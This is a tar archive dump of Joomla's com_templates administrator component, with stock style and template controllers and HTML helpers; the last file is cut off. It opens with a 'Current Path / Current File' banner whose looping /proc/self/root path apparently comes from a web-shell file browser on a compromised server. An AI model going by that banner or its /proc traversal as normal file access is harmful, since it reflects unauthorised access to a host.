| Current Path : /proc/1908984/root/proc/self/root/proc/self/root/proc/2411249/cwd/ |
| Current File : //proc/1908984/root/proc/self/root/proc/self/root/proc/2411249/cwd/com_templates.tar |
controllers/index.html 0000644 00000000037 15234472021 0011107 0 ustar 00 <!DOCTYPE html><title></title>
controllers/style.php 0000644 00000007711 15234472021 0010771 0 ustar 00 <?php
/**
* @package Joomla.Administrator
* @subpackage com_templates
*
* @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Template style controller class.
*
* @since 1.6
*/
class TemplatesControllerStyle extends JControllerForm
{
/**
* The prefix to use with controller messages.
*
* @var string
* @since 1.6
*/
protected $text_prefix = 'COM_TEMPLATES_STYLE';
/**
* Method to save a template style.
*
* @param string $key The name of the primary key of the URL variable.
* @param string $urlVar The name of the URL variable if different from the primary key (sometimes required to avoid router collisions).
*
* @return boolean True if successful, false otherwise.
*
* @since 1.6
*/
public function save($key = null, $urlVar = null)
{
$this->checkToken();
$document = JFactory::getDocument();
if ($document->getType() === 'json')
{
$app = JFactory::getApplication();
$lang = JFactory::getLanguage();
$model = $this->getModel();
$table = $model->getTable();
$data = $this->input->post->get('params', array(), 'array');
$checkin = property_exists($table, 'checked_out');
$context = $this->option . '.edit.' . $this->context;
$task = $this->getTask();
$item = $model->getItem($app->getTemplate(true)->id);
// Setting received params
$item->set('params', $data);
$data = $item->getProperties();
unset($data['xml']);
$key = $table->getKeyName();
// Access check.
if (!$this->allowSave($data, $key))
{
$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');
return false;
}
JForm::addFormPath(JPATH_ADMINISTRATOR . '/components/com_templates/models/forms');
// Validate the posted data.
// Sometimes the form needs some posted data, such as for plugins and modules.
$form = $model->getForm($data, false);
if (!$form)
{
$app->enqueueMessage($model->getError(), 'error');
return false;
}
// Test whether the data is valid.
$validData = $model->validate($form, $data);
if ($validData === false)
{
// Get the validation messages.
$errors = $model->getErrors();
// Push up to three validation messages out to the user.
for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++)
{
if ($errors[$i] instanceof Exception)
{
$app->enqueueMessage($errors[$i]->getMessage(), 'warning');
}
else
{
$app->enqueueMessage($errors[$i], 'warning');
}
}
// Save the data in the session.
$app->setUserState($context . '.data', $data);
return false;
}
if (!isset($validData['tags']))
{
$validData['tags'] = null;
}
// Attempt to save the data.
if (!$model->save($validData))
{
// Save the data in the session.
$app->setUserState($context . '.data', $validData);
$app->enqueueMessage(JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError()), 'error');
return false;
}
// Save succeeded, so check-in the record.
if ($checkin && $model->checkin($validData[$key]) === false)
{
// Save the data in the session.
$app->setUserState($context . '.data', $validData);
// Check-in failed, so go back to the record and display a notice.
$app->enqueueMessage(JText::sprintf('JLIB_APPLICATION_ERROR_CHECKIN_FAILED', $model->getError()), 'error');
return false;
}
// Redirect the user and adjust session state
// Set the record data in the session.
$recordId = $model->getState($this->context . '.id');
$this->holdEditId($context, $recordId);
$app->setUserState($context . '.data', null);
$model->checkout($recordId);
// Invoke the postSave method to allow for the child class to access the model.
$this->postSaveHook($model, $validData);
return true;
}
else
{
parent::save($key, $urlVar);
}
}
}
controllers/styles.php 0000644 00000006156 15234472021 0011156 0 ustar 00 <?php
/**
* @package Joomla.Administrator
* @subpackage com_templates
*
* @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Template styles list controller class.
*
* @since 1.6
*/
class TemplatesControllerStyles extends JControllerAdmin
{
/**
* Method to clone and existing template style.
*
* @return void
*/
public function duplicate()
{
// Check for request forgeries
$this->checkToken();
$pks = (array) $this->input->post->get('cid', array(), 'int');
// Remove zero values resulting from input filter
$pks = array_filter($pks);
try
{
if (empty($pks))
{
throw new Exception(JText::_('COM_TEMPLATES_NO_TEMPLATE_SELECTED'));
}
$model = $this->getModel();
$model->duplicate($pks);
$this->setMessage(JText::_('COM_TEMPLATES_SUCCESS_DUPLICATED'));
}
catch (Exception $e)
{
JError::raiseWarning(500, $e->getMessage());
}
$this->setRedirect('index.php?option=com_templates&view=styles');
}
/**
* Proxy for getModel.
*
* @param string $name The model name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JModelLegacy
*
* @since 1.6
*/
public function getModel($name = 'Style', $prefix = 'TemplatesModel', $config = array())
{
return parent::getModel($name, $prefix, array('ignore_request' => true));
}
/**
* Method to set the home template for a client.
*
* @return void
*
* @since 1.6
*/
public function setDefault()
{
// Check for request forgeries
$this->checkToken();
$pks = (array) $this->input->post->get('cid', array(), 'int');
// Remove zero values resulting from input filter
$pks = array_filter($pks);
try
{
if (empty($pks))
{
throw new Exception(JText::_('COM_TEMPLATES_NO_TEMPLATE_SELECTED'));
}
// Pop off the first element.
$id = array_shift($pks);
$model = $this->getModel();
$model->setHome($id);
$this->setMessage(JText::_('COM_TEMPLATES_SUCCESS_HOME_SET'));
}
catch (Exception $e)
{
JError::raiseWarning(500, $e->getMessage());
}
$this->setRedirect('index.php?option=com_templates&view=styles');
}
/**
* Method to unset the default template for a client and for a language
*
* @return void
*
* @since 1.6
*/
public function unsetDefault()
{
// Check for request forgeries
$this->checkToken('request');
$pks = (array) $this->input->get->get('cid', array(), 'int');
// Remove zero values resulting from input filter
$pks = array_filter($pks);
try
{
if (empty($pks))
{
throw new Exception(JText::_('COM_TEMPLATES_NO_TEMPLATE_SELECTED'));
}
// Pop off the first element.
$id = array_shift($pks);
$model = $this->getModel();
$model->unsetHome($id);
$this->setMessage(JText::_('COM_TEMPLATES_SUCCESS_HOME_UNSET'));
}
catch (Exception $e)
{
JError::raiseWarning(500, $e->getMessage());
}
$this->setRedirect('index.php?option=com_templates&view=styles');
}
}
controllers/template.php 0000644 00000057137 15234472021 0011453 0 ustar 00 <?php
/**
* @package Joomla.Administrator
* @subpackage com_templates
*
* @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
JLoader::register('InstallerModelInstall', JPATH_ADMINISTRATOR . '/components/com_installer/models/install.php');
use Joomla\CMS\Filter\InputFilter;
/**
* Template style controller class.
*
* @since 1.6
*/
class TemplatesControllerTemplate extends JControllerLegacy
{
/**
* Constructor.
*
* @param array $config An optional associative array of configuration settings.
*
* @see JControllerLegacy
* @since 3.2
*/
public function __construct($config = array())
{
parent::__construct($config);
// Apply, Save & New, and Save As copy should be standard on forms.
$this->registerTask('apply', 'save');
}
/**
* Method for closing the template.
*
* @return void
*
* @since 3.2
*/
public function cancel()
{
$this->setRedirect(JRoute::_('index.php?option=com_templates&view=templates', false));
}
/**
* Method for closing a file.
*
* @return void
*
* @since 3.2
*/
public function close()
{
$app = JFactory::getApplication();
$file = base64_encode('home');
$id = (int) $app->input->get('id', 0, 'int');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
/**
* Method for copying the template.
*
* @return boolean true on success, false otherwise
*
* @since 3.2
*/
public function copy()
{
// Check for request forgeries
$this->checkToken();
$app = JFactory::getApplication();
$this->input->set('installtype', 'folder');
$newName = (string) $this->input->get('new_name', null, 'cmd');
$newNameRaw = (string) $this->input->get('new_name', null, 'string');
$templateID = (int) $this->input->get('id', 0, 'int');
$file = (string) $this->input->get('file', '', 'cmd');
// Access check.
if (!$this->allowEdit())
{
$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');
return false;
}
$this->setRedirect('index.php?option=com_templates&view=template&id=' . $templateID . '&file=' . $file);
$model = $this->getModel('Template', 'TemplatesModel');
$model->setState('new_name', $newName);
$model->setState('tmp_prefix', uniqid('template_copy_'));
$model->setState('to_path', JFactory::getConfig()->get('tmp_path') . '/' . $model->getState('tmp_prefix'));
// Process only if we have a new name entered
if (strlen($newName) > 0)
{
if (!JFactory::getUser()->authorise('core.create', 'com_templates'))
{
// User is not authorised to delete
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_CREATE_NOT_PERMITTED'), 'error');
return false;
}
// Set FTP credentials, if given
JClientHelper::setCredentialsFromRequest('ftp');
// Check that new name is valid
if (($newNameRaw !== null) && ($newName !== $newNameRaw))
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_INVALID_TEMPLATE_NAME'), 'error');
return false;
}
// Check that new name doesn't already exist
if (!$model->checkNewName())
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_DUPLICATE_TEMPLATE_NAME'), 'error');
return false;
}
// Check that from name does exist and get the folder name
$fromName = $model->getFromName();
if (!$fromName)
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_INVALID_FROM_NAME'), 'error');
return false;
}
// Call model's copy method
if (!$model->copy())
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_COULD_NOT_COPY'), 'error');
return false;
}
// Call installation model
$this->input->set('install_directory', JFactory::getConfig()->get('tmp_path') . '/' . $model->getState('tmp_prefix'));
$installModel = $this->getModel('Install', 'InstallerModel');
JFactory::getLanguage()->load('com_installer');
if (!$installModel->install())
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_COULD_NOT_INSTALL'), 'error');
return false;
}
$this->setMessage(JText::sprintf('COM_TEMPLATES_COPY_SUCCESS', $newName));
$model->cleanup();
return true;
}
}
/**
* Method to get a model object, loading it if required.
*
* @param string $name The model name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for model. Optional (note, the empty array is atypical compared to other models).
*
* @return JModelLegacy The model.
*
* @since 3.2
*/
public function getModel($name = 'Template', $prefix = 'TemplatesModel', $config = array())
{
return parent::getModel($name, $prefix, $config);
}
/**
* Method to check if the user can modify template files
*
* @return boolean
*
* @since 3.2
*/
protected function allowEdit()
{
return JFactory::getUser()->authorise('core.admin');
}
/**
* Saves a template source file.
*
* @return void
*
* @since 3.2
*/
public function save()
{
// Check for request forgeries.
$this->checkToken();
$app = JFactory::getApplication();
$data = $this->input->post->get('jform', array(), 'array');
$task = $this->getTask();
$model = $this->getModel();
$fileName = (string) $app->input->get('file', '', 'cmd');
$explodeArray = explode(':', base64_decode($fileName));
// Access check.
if (!$this->allowEdit())
{
$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');
return false;
}
// Match the stored id's with the submitted.
if (empty($data['extension_id']) || empty($data['filename']))
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_SOURCE_ID_FILENAME_MISMATCH'), 'error');
return false;
}
elseif ($data['extension_id'] != $model->getState('extension.id'))
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_SOURCE_ID_FILENAME_MISMATCH'), 'error');
return false;
}
elseif ($data['filename'] != end($explodeArray))
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_SOURCE_ID_FILENAME_MISMATCH'), 'error');
return false;
}
// Validate the posted data.
$form = $model->getForm();
if (!$form)
{
$app->enqueueMessage($model->getError(), 'error');
return false;
}
$data = $model->validate($form, $data);
// Check for validation errors.
if ($data === false)
{
// Get the validation messages.
$errors = $model->getErrors();
// Push up to three validation messages out to the user.
for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++)
{
if ($errors[$i] instanceof Exception)
{
$app->enqueueMessage($errors[$i]->getMessage(), 'warning');
}
else
{
$app->enqueueMessage($errors[$i], 'warning');
}
}
// Redirect back to the edit screen.
$url = 'index.php?option=com_templates&view=template&id=' . $model->getState('extension.id') . '&file=' . $fileName;
$this->setRedirect(JRoute::_($url, false));
return false;
}
// Attempt to save the data.
if (!$model->save($data))
{
// Redirect back to the edit screen.
$this->setMessage(JText::sprintf('JERROR_SAVE_FAILED', $model->getError()), 'warning');
$url = 'index.php?option=com_templates&view=template&id=' . $model->getState('extension.id') . '&file=' . $fileName;
$this->setRedirect(JRoute::_($url, false));
return false;
}
$this->setMessage(JText::_('COM_TEMPLATES_FILE_SAVE_SUCCESS'));
// Redirect the user based on the chosen task.
switch ($task)
{
case 'apply':
// Redirect back to the edit screen.
$url = 'index.php?option=com_templates&view=template&id=' . $model->getState('extension.id') . '&file=' . $fileName;
$this->setRedirect(JRoute::_($url, false));
break;
default:
// Redirect to the list screen.
$file = base64_encode('home');
$id = (int) $app->input->get('id', 0, 'int');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
break;
}
}
/**
* Method for creating override.
*
* @return void
*
* @since 3.2
*/
public function overrides()
{
// Check for request forgeries.
$this->checkToken('get');
$app = JFactory::getApplication();
$model = $this->getModel();
$file = (string) $app->input->get('file', '', 'cmd');
$override = (string) InputFilter::getInstance(array(), array(), 1, 1)->clean(base64_decode($app->input->get('folder', '', 'base64')), 'path');
$id = (int) $app->input->get('id', 0, 'int');
// Access check.
if (!$this->allowEdit())
{
$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');
return false;
}
if ($model->createOverride($override))
{
$this->setMessage(JText::_('COM_TEMPLATES_OVERRIDE_SUCCESS'));
}
// Redirect back to the edit screen.
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
/**
* Method for compiling LESS.
*
* @return void
*
* @since 3.2
*/
public function less()
{
// Check for request forgeries
$this->checkToken();
$app = JFactory::getApplication();
$model = $this->getModel();
$id = (int) $app->input->get('id', 0, 'int');
$file = (string) $app->input->get('file', '', 'cmd');
// Access check.
if (!$this->allowEdit())
{
$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');
return false;
}
if ($model->compileLess($file))
{
$this->setMessage(JText::_('COM_TEMPLATES_COMPILE_SUCCESS'));
}
else
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_COMPILE_ERROR'), 'error');
}
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
/**
* Method for deleting a file.
*
* @return void
*
* @since 3.2
*/
public function delete()
{
// Check for request forgeries
$this->checkToken();
$app = JFactory::getApplication();
$model = $this->getModel();
$id = (int) $app->input->get('id', 0, 'int');
$file = (string) $app->input->get('file', '', 'cmd');
// Access check.
if (!$this->allowEdit())
{
$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');
return false;
}
if (base64_decode(urldecode($file)) == '/index.php')
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_INDEX_DELETE'), 'warning');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
elseif ($model->deleteFile($file))
{
$this->setMessage(JText::_('COM_TEMPLATES_FILE_DELETE_SUCCESS'));
$file = base64_encode('home');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
else
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_FILE_DELETE'), 'error');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
}
/**
* Method for creating a new file.
*
* @return void
*
* @since 3.2
*/
public function createFile()
{
// Check for request forgeries
$this->checkToken();
$app = JFactory::getApplication();
$model = $this->getModel();
$id = (int) $app->input->get('id', 0, 'int');
$file = (string) $app->input->get('file', '', 'cmd');
$name = (string) $app->input->get('name', '', 'cmd');
$location = (string) InputFilter::getinstance(array(), array(), 1, 1)->clean(base64_decode($app->input->get('address', '', 'base64')), 'path');
$type = (string) $app->input->get('type', '', 'cmd');
// Access check.
if (!$this->allowEdit())
{
$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');
return false;
}
if ($type == 'null')
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_INVALID_FILE_TYPE'), 'error');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
elseif (!preg_match('/^[a-zA-Z0-9-_]+$/', $name))
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_INVALID_FILE_NAME'), 'error');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
elseif ($model->createFile($name, $type, $location))
{
$this->setMessage(JText::_('COM_TEMPLATES_FILE_CREATE_SUCCESS'));
$file = urlencode(base64_encode($location . '/' . $name . '.' . $type));
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
else
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_FILE_CREATE'), 'error');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
}
/**
* Method for uploading a file.
*
* @return void
*
* @since 3.2
*/
public function uploadFile()
{
// Check for request forgeries
$this->checkToken();
$app = JFactory::getApplication();
$model = $this->getModel();
$id = (int) $app->input->get('id', 0, 'int');
$file = (string) $app->input->get('file', '', 'cmd');
$upload = $app->input->files->get('files');
$location = (string) InputFilter::getinstance(array(), array(), 1, 1)->clean(base64_decode($app->input->get('address', '', 'base64')), 'path');
// Access check.
if (!$this->allowEdit())
{
$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');
return false;
}
if ($return = $model->uploadFile($upload, $location))
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_UPLOAD_SUCCESS') . $upload['name']);
$redirect = base64_encode($return);
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $redirect;
$this->setRedirect(JRoute::_($url, false));
}
else
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_FILE_UPLOAD'), 'error');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
}
/**
* Method for creating a new folder.
*
* @return void
*
* @since 3.2
*/
public function createFolder()
{
// Check for request forgeries
$this->checkToken();
$app = JFactory::getApplication();
$model = $this->getModel();
$id = (int) $app->input->get('id', 0, 'int');
$file = (string) $app->input->get('file', '', 'cmd');
$name = $app->input->get('name');
$location = (string) InputFilter::getinstance(array(), array(), 1, 1)->clean(base64_decode($app->input->get('address', '', 'base64')), 'path');
// Access check.
if (!$this->allowEdit())
{
$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');
return false;
}
if (!preg_match('/^[a-zA-Z0-9-_.]+$/', $name))
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_INVALID_FOLDER_NAME'), 'error');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
elseif ($model->createFolder($name, $location))
{
$this->setMessage(JText::_('COM_TEMPLATES_FOLDER_CREATE_SUCCESS'));
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
else
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_FOLDER_CREATE'), 'error');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
}
/**
* Method for deleting a folder.
*
* @return void
*
* @since 3.2
*/
public function deleteFolder()
{
// Check for request forgeries
$this->checkToken();
$app = JFactory::getApplication();
$model = $this->getModel();
$id = (int) $app->input->get('id', 0, 'int');
$file = (string) $app->input->get('file', '', 'cmd');
$location = (string) InputFilter::getinstance(array(), array(), 1, 1)->clean(base64_decode($app->input->get('address', '', 'base64')), 'path');
// Access check.
if (!$this->allowEdit())
{
$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');
return false;
}
if (empty($location))
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_ROOT_DELETE'), 'warning');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
elseif ($model->deleteFolder($location))
{
$this->setMessage(JText::_('COM_TEMPLATES_FOLDER_DELETE_SUCCESS'));
if (stristr(base64_decode($file), $location) != false)
{
$file = base64_encode('home');
}
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
else
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_FOLDER_DELETE_ERROR'), 'error');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
}
/**
* Method for renaming a file.
*
* @return void
*
* @since 3.2
*/
public function renameFile()
{
// Check for request forgeries
$this->checkToken();
$app = JFactory::getApplication();
$model = $this->getModel();
$id = (int) $app->input->get('id', 0, 'int');
$file = (string) $app->input->get('file', '', 'cmd');
$newName = $app->input->get('new_name');
// Access check.
if (!$this->allowEdit())
{
$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');
return false;
}
if (base64_decode(urldecode($file)) == '/index.php')
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_RENAME_INDEX'), 'warning');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
elseif (!preg_match('/^[a-zA-Z0-9-_]+$/', $newName))
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_INVALID_FILE_NAME'), 'error');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
elseif ($rename = $model->renameFile($file, $newName))
{
$this->setMessage(JText::_('COM_TEMPLATES_FILE_RENAME_SUCCESS'));
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $rename;
$this->setRedirect(JRoute::_($url, false));
}
else
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_ERROR_FILE_RENAME'), 'error');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
}
/**
* Method for cropping an image.
*
* @return void
*
* @since 3.2
*/
public function cropImage()
{
// Check for request forgeries
$this->checkToken();
$app = JFactory::getApplication();
$id = (int) $app->input->get('id', 0, 'int');
$file = (string) $app->input->get('file', '', 'cmd');
$x = $app->input->get('x');
$y = $app->input->get('y');
$w = $app->input->get('w');
$h = $app->input->get('h');
$model = $this->getModel();
// Access check.
if (!$this->allowEdit())
{
$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');
return false;
}
if (empty($w) && empty($h) && empty($x) && empty($y))
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_CROP_AREA_ERROR'), 'error');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
elseif ($model->cropImage($file, $w, $h, $x, $y))
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_CROP_SUCCESS'));
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
else
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_CROP_ERROR'), 'error');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
}
/**
* Method for resizing an image.
*
* @return void
*
* @since 3.2
*/
public function resizeImage()
{
// Check for request forgeries
$this->checkToken();
$app = JFactory::getApplication();
$id = (int) $app->input->get('id', 0, 'int');
$file = (string) $app->input->get('file', '', 'cmd');
$width = $app->input->get('width');
$height = $app->input->get('height');
$model = $this->getModel();
// Access check.
if (!$this->allowEdit())
{
$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');
return false;
}
if ($model->resizeImage($file, $width, $height))
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_RESIZE_SUCCESS'));
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
else
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_RESIZE_ERROR'), 'error');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
}
/**
* Method for copying a file.
*
* @return void
*
* @since 3.2
*/
public function copyFile()
{
// Check for request forgeries
$this->checkToken();
$app = JFactory::getApplication();
$id = (int) $app->input->get('id', 0, 'int');
$file = (string) $app->input->get('file', '', 'cmd');
$newName = $app->input->get('new_name');
$location = (string) InputFilter::getinstance(array(), array(), 1, 1)->clean(base64_decode($app->input->get('address', '', 'base64')), 'path');
$model = $this->getModel();
// Access check.
if (!$this->allowEdit())
{
$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');
return false;
}
if (!preg_match('/^[a-zA-Z0-9-_]+$/', $newName))
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_INVALID_FILE_NAME'), 'error');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
elseif ($model->copyFile($newName, $location, $file))
{
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
else
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_COPY_FAIL'), 'error');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
}
/**
* Method for extracting an archive file.
*
* @return void
*
* @since 3.2
*/
public function extractArchive()
{
// Check for request forgeries
$this->checkToken();
$app = JFactory::getApplication();
$id = (int) $app->input->get('id', 0, 'int');
$file = (string) $app->input->get('file', '', 'cmd');
$model = $this->getModel();
// Access check.
if (!$this->allowEdit())
{
$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'error');
return false;
}
if ($model->extractArchive($file))
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_ARCHIVE_EXTRACT_SUCCESS'));
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
else
{
$app->enqueueMessage(JText::_('COM_TEMPLATES_FILE_ARCHIVE_EXTRACT_FAIL'), 'error');
$url = 'index.php?option=com_templates&view=template&id=' . $id . '&file=' . $file;
$this->setRedirect(JRoute::_($url, false));
}
}
}
helpers/html/index.html 0000644 00000000037 15234472021 0011147 0 ustar 00 <!DOCTYPE html><title></title>
helpers/html/templates.php 0000644 00000005324 15234472021 0011665 0 ustar 00 <?php
/**
* @package Joomla.Administrator
* @subpackage com_templates
*
* @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* JHtml helper class.
*
* @since 1.6
*/
class JHtmlTemplates
{
/**
* Display the thumb for the template.
*
* @param string $template The name of the template.
* @param integer $clientId The application client ID the template applies to
*
* @return string The html string
*
* @since 1.6
*/
public static function thumb($template, $clientId = 0)
{
$client = JApplicationHelper::getClientInfo($clientId);
$basePath = $client->path . '/templates/' . $template;
$thumb = $basePath . '/template_thumbnail.png';
$preview = $basePath . '/template_preview.png';
$html = '';
if (file_exists($thumb))
{
JHtml::_('bootstrap.tooltip');
$clientPath = ($clientId == 0) ? '' : 'administrator/';
$thumb = $clientPath . 'templates/' . $template . '/template_thumbnail.png';
$html = JHtml::_('image', $thumb, JText::_('COM_TEMPLATES_PREVIEW'));
if (file_exists($preview))
{
$html = '<button type="button" data-target="#' . $template . '-Modal" class="thumbnail pull-left hasTooltip" data-toggle="modal"'
. ' title="' . JHtml::_('tooltipText', 'COM_TEMPLATES_CLICK_TO_ENLARGE') . '">' . $html . '</button>';
}
}
return $html;
}
/**
* Renders the html for the modal linked to thumb.
*
* @param string $template The name of the template.
* @param integer $clientId The application client ID the template applies to
*
* @return string The html string
*
* @since 3.4
*/
public static function thumbModal($template, $clientId = 0)
{
$client = JApplicationHelper::getClientInfo($clientId);
$basePath = $client->path . '/templates/' . $template;
$baseUrl = ($clientId == 0) ? JUri::root(true) : JUri::root(true) . '/administrator';
$thumb = $basePath . '/template_thumbnail.png';
$preview = $basePath . '/template_preview.png';
$html = '';
if (file_exists($thumb))
{
if (file_exists($preview))
{
$preview = $baseUrl . '/templates/' . $template . '/template_preview.png';
$footer = '<button type="button" class="btn" data-dismiss="modal">'
. JText::_('JTOOLBAR_CLOSE') . '</button>';
$html .= JHtml::_(
'bootstrap.renderModal',
$template . '-Modal',
array(
'title' => JText::_('COM_TEMPLATES_BUTTON_PREVIEW'),
'height' => '500px',
'width' => '800px',
'footer' => $footer,
),
$body = '<div><img src="' . $preview . '" style="max-width:100%" alt="' . $template . '"></div>'
);
}
}
return $html;
}
}
helpers/index.html 0000644 00000000037 15234472021 0010203 0 ustar 00 <!DOCTYPE html><title></title>
helpers/template.php 0000644 00000012414 15234472021 0010534 0 ustar 00 <?php
/**
* @package Joomla.Administrator
* @subpackage com_templates
*
* @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Template Helper class.
*
* @since 3.2
*/
